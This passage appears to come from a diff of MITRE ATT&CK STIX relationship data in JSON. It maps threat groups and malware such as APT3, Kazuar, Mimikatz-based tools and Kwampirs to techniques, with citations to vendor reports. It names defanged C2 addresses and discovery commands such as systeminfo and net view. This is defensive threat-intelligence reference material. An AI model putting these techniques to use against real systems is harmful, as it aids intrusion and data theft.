download and execute additional scripts for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--da3fc762-2ac5-4ab7-8c77-6df2f06b5680", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.482Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) captures screenshots of the victim\u2019s screen.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b2ae2606-fea8-4caf-a79e-91f09932d6d4", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) can obtain a list of running processes on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1b03ba23-cbf3-4a77-8c8b-233a19e42a0c", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Mosquito](https://attack.mitre.org/software/S0256)\u2019s installer is obfuscated with a custom crypter to obfuscate the installer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--91a362c7-a111-4a1e-8978-1afcc110e5cf", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Imecab to set up a persistent remote access account on the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6d882d9e-7ed8-4dda-896d-a1573768cda1", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7a64af0b-aebe-47d1-9f96-ef0ecad52df9", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WinRM to execute a payload on a remote host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d328f1e2-c98f-473e-aea5-063e1ee70744", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) makes modifications to open-source scripts from GitHub and executes them on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a49b638b-c180-4239-95f8-1601bd2d5295", + "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "source_name": "Sofacy DealersChoice", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can communicate over FTP and send email over SMTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7bde54d7-257c-4c68-920e-bd78fe282f14", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--36aad32e-5300-4db0-b5a2-8b7442123db1", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.893Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands systeminfo, net config workstation, hostname, ver, set, and date /t.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a8dc6cca-3ede-4110-baf1-8ce53fb655a9", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) and a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.166Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is capable of reading files over the C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3565539f-7ebf-4288-8422-5212c774821b", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) leveraged a compiled HTML file that contained a command to download and run an executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--543dce32-6988-4e49-ad83-4405d1a143ae", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "description": "[Dok](https://attack.mitre.org/software/S0281) persists via a login item.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ad5b220e-ff6c-428c-a51e-e90781b7e11c", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used cmd.exe to execute commmands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e9d48406-947c-4d50-9539-b30c4566403b", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.630Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--366214ea-29b0-458a-a852-7a76420783d2", + "source_ref": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55", + "modified": "2019-07-25T11:39:54.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects the current username from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d2d9a619-4379-4e15-9115-40ca9209f316", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.889Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "When the [Duqu](https://attack.mitre.org/software/S0038) command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.306Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by [SPACESHIP](https://attack.mitre.org/software/S0035).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e30a790b-8f09-4bdc-8116-275d00880333", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) searches the local system and gathers data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--066d9d0e-0298-420b-ba84-a4af07211a35", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.212Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) performs the tasklist command to list running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--91b6a6e1-c0eb-4bd8-84d4-4c31caf2ba6a", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) contains a custom version of the RC4 algorithm that includes a programming error.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of available servers with the command net view.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--71fd7b73-462f-4629-8d95-59d0129b1503", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) deletes one of its files, 2.hwp, from the endpoint after establishing persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--28084f31-80be-472b-bd15-6945b2905a93", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "An older variant of [PLAINTEE](https://attack.mitre.org/software/S0254) performs UAC bypass.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8bb8c2ab-b701-4a09-902b-a2ddf8d36451", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) encrypts files with XOR before sending them back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--40e636e8-a891-46fb-ba04-69db00062354", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) adds a Registry Run key for ctfmon.exe to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 